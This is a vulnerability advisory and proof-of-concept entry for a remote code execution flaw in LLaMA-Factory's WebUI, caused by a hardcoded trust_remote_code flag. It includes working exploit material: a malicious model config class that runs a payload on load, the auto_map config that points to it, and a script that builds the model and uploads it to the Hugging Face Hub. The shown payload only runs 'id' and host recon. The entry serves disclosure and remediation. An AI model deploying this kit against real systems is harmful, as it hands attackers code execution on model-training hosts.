PoC Archive PoC Archive
Critical CVE-2026-58116 unpatched

LLaMA-Factory WebUI Remote Code Execution via Hardcoded `trust_remote_code` (CVE-2026-58116)

by Original disclosure by h3nrrrych4u; PoC by Hunt-Benito · 2026-07-19

Metadata

FieldValue
Date Added2026-07-19
Last Updated2026-07-19
Author / ResearcherOriginal disclosure by h3nrrrych4u; PoC by Hunt-Benito
CVE / AdvisoryCVE-2026-58116
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized — confirmed code execution via the exact sink LLaMA-Factory reaches
Tagsllamafactory, llm-training, webui, trust-remote-code, huggingface, transformers, cwe-94, unauthenticated-within-webui, remote-code-execution, ai-supply-chain
RelatedN/A

Affected Target

FieldValue
Software / SystemLLaMA-Factory (hiyouga/LLaMA-Factory) — WebUI Chat and Training interfaces
Versions Affected<= 0.9.5
Language / PlatformPython, Hugging Face transformers
Authentication RequiredNo additional auth beyond having WebUI access (the WebUI itself is often deployed without further access control)
Network Access RequiredNo — triggered by loading a model, which can be a local action or reachable if the WebUI is exposed

Summary

LLaMA-Factory’s WebUI hardcodes trust_remote_code=True whenever it loads a model (src/llamafactory/webui/chatter.py:139 and runner.py:175,320). The “Model path” field — fully attacker/user-controlled — flows unvalidated into AutoTokenizer.from_pretrained() / AutoModel.from_pretrained(). Because trust_remote_code=True tells Hugging Face transformers to download and execute arbitrary Python modules declared in a model repository’s config.json (auto_map), simply pointing the WebUI’s Model path at a malicious Hugging Face repository — or any path resolving to one — results in immediate remote code execution as the LLaMA-Factory process, before any model weights are even loaded.


Vulnerability Details

Root Cause

Tracked as CWE-94 (Code Injection). transformers instantiates the config class declared in a model’s auto_map (e.g. AutoConfig.from_pretrained(path, trust_remote_code=True)) as part of parsing config.json — this happens before any model weights are fetched or validated. If that config class’s __init__ executes arbitrary code (which it can, since it’s just a Python module fetched from the specified repository), that code runs unconditionally as soon as the config is read. LLaMA-Factory’s loader (src/llamafactory/model/loader.py) always sets trust_remote_code=True when building the kwargs passed to AutoTokenizer/AutoModel, with no opt-out or warning, so any model path a user or attacker can get the WebUI to load results in code execution.

Attack Vector

  1. Attacker (or a user tricked into it) sets LLaMA-Factory WebUI’s “Model path” field to a malicious Hugging Face repository ID (or other resolvable path) containing a config.json with an auto_map pointing to attacker-controlled Python modules.
  2. User clicks “Load Model” in the Chat or Training tab.
  3. LLaMA-Factory calls AutoConfig.from_pretrained(malicious_path, trust_remote_code=True).
  4. transformers downloads the attacker’s configuration_poc.py and instantiates the declared config class — executing the attacker’s __init__ code immediately, before any weights are loaded.

Impact

Arbitrary remote code execution as the LLaMA-Factory server process, simply by getting a “Model path” value loaded through the WebUI — no separate authentication bypass needed if the WebUI is reachable, and no user interaction beyond a normal “load this model” action, which is exactly what the tool is designed to have users do routinely.


Environment / Lab Setup

Target:      A local install of LLaMA-Factory's WebUI (or the sink demonstrated
             standalone via transformers, no WebUI required to prove the primitive)
Attacker:    Python 3 + transformers + torch (+ huggingface_hub for the --upload path)

Setup Steps

1
pip install transformers torch

Proof of Concept

See build_and_verify.py and poc-model/ (config.json, configuration_poc.py, modeling_poc.py) in this folder — mirrored from Hunt-Benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection. Verified before ingestion: read all files in full. The payload is intentionally minimal and harmless — subprocess.check_output(["id"]) plus host recon printed to stdout — with an explicit comment marking it as a stand-in for “an actual command in a real engagement.” No obfuscation, no network exfiltration, no destructive behavior. The technique it demonstrates (config-class code execution during AutoConfig.from_pretrained, before weights load) is a well-documented, real transformers/trust_remote_code behavior, and the cited source lines (chatter.py:139, runner.py:175,320) describe LLaMA-Factory’s actual hardcoded-flag pattern.

Step-by-Step Reproduction

Verify the sink locally (no WebUI needed):

1
python3 build_and_verify.py

End-to-end via a running LLaMA-Factory WebUI:

1
2
3
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
llamafactory-cli webui

Exploit Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class PoCConfig(PretrainedConfig):
    model_type = "poc_model"

    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        execute_payload()   # subprocess.check_output(["id"]) + host recon, in this PoC

{
  "architectures": ["PoCModel"],
  "model_type": "poc_model",
  "auto_map": {
    "AutoConfig": "configuration_poc.PoCConfig",
    "AutoModel": "modeling_poc.PoCModel",
    "AutoModelForCausalLM": "modeling_poc.PoCModel"
  }
}

def _get_init_kwargs(model_args):
    return {"trust_remote_code": model_args.trust_remote_code, ...}   # True (hardcoded)

def load_tokenizer(model_args):
    init_kwargs = _get_init_kwargs(model_args)
    tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)

Expected Output

[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
  time      : 2026-07-02T...
  host      : gpu-host-01
  user      : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)

Detection & Indicators of Compromise


Remediation

ActionDetail
PatchUpgrade LLaMA-Factory past 0.9.5 once a fixed release removes the hardcoded trust_remote_code=True, or requires explicit opt-in.
WorkaroundRestrict WebUI “Model path” input to an allowlist of trusted, internally-vetted model repositories; never expose the WebUI to untrusted users; run the WebUI process with minimum filesystem/network privileges.
General guidanceTreat trust_remote_code=True as equivalent to running arbitrary code from wherever the model path points — never wire it to unauthenticated or lightly-authenticated user input in any tool that loads Hugging Face models.

References


Notes

Surfaced via a --days 4 only 2026 CVE discovery sweep on 2026-07-15, held pending verification, and ingested now alongside the other verified findings from this week’s sweeps. Verified before ingestion per this archive’s standing rule: read every file in full (build_and_verify.py, poc-model/config.json, configuration_poc.py, modeling_poc.py) — clean, minimal, and technically consistent with well-documented transformers/trust_remote_code behavior.

build_and_verify.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/usr/bin/env python3
"""
build_and_verify.py — assemble the CVE-2026-58116 PoC model and verify it
triggers code execution via trust_remote_code.

This demonstrates the sink (transformers from_pretrained with
trust_remote_code=True) in isolation, without needing a running LLaMA-Factory
WebUI. It proves the contract that the WebUI violates: a repo ID + trust flag
= code execution.

Usage:
    python3 build_and_verify.py                  # build + verify locally
    python3 build_and_verify.py --upload <hf-repo-id>   # also push to HF Hub

FOR EDUCATIONAL/AUTHORIZED-TESTING USE ONLY.
"""
from __future__ import annotations

import argparse
import shutil
import sys
from pathlib import Path

HERE = Path(__file__).resolve().parent
MODEL_DIR = HERE / "poc-model"


def build_model_dir() -> Path:
    """Ensure poc-model/ contains config.json + the two .py modules."""
    required = ["config.json", "configuration_poc.py", "modeling_poc.py"]
    for name in required:
        if not (MODEL_DIR / name).exists():
            sys.exit(f"[!] missing {name} next to this script")
    # transformers imports the package, so it needs to be a valid module dir.
    init = MODEL_DIR / "__init__.py"
    if not init.exists():
        init.write_text("from .configuration_poc import PoCConfig\n")
    print(f"[+] PoC model assembled at {MODEL_DIR}")
    return MODEL_DIR


def verify_local(model_dir: Path) -> None:
    """Load the config with trust_remote_code=True — this executes the payload."""
    print("[*] Loading config with trust_remote_code=True (this triggers the PoC)...")
    from transformers import AutoConfig

    # The exact sink LLaMA-Factory reaches through loader.py:
    config = AutoConfig.from_pretrained(
        str(model_dir),
        trust_remote_code=True,
    )
    print(f"[+] Config loaded: {config.__class__.__name__} (model_type={config.model_type})")
    print("[+] If you saw the '[CVE-2026-58116 PoC]' banner above, RCE is confirmed.")


def upload_to_hub(model_dir: Path, repo_id: str) -> None:
    try:
        from huggingface_hub import HfApi
    except ImportError:
        sys.exit("[!] pip install huggingface_hub to use --upload")
    api = HfApi()
    api.create_repo(repo_id=repo_id, repo_type="model", exist_ok=True)
    api.upload_folder(folder_path=str(model_dir), repo_id=repo_id, repo_type="model")
    print(f"[+] Uploaded PoC model to https://huggingface.co/{repo_id}")
    print(f"    Now point LLaMA-Factory's WebUI 'Model path' at: {repo_id}")


def main() -> None:
    ap = argparse.ArgumentParser(description="CVE-2026-58116 LLaMA-Factory RCE PoC builder")
    ap.add_argument(
        "--upload",
        metavar="HF_REPO_ID",
        help="also upload the PoC model to the Hugging Face Hub (e.g. user/poc-model)",
    )
    args = ap.parse_args()

    model_dir = build_model_dir()
    verify_local(model_dir)

    if args.upload:
        upload_to_hub(model_dir, args.upload)


if __name__ == "__main__":
    main()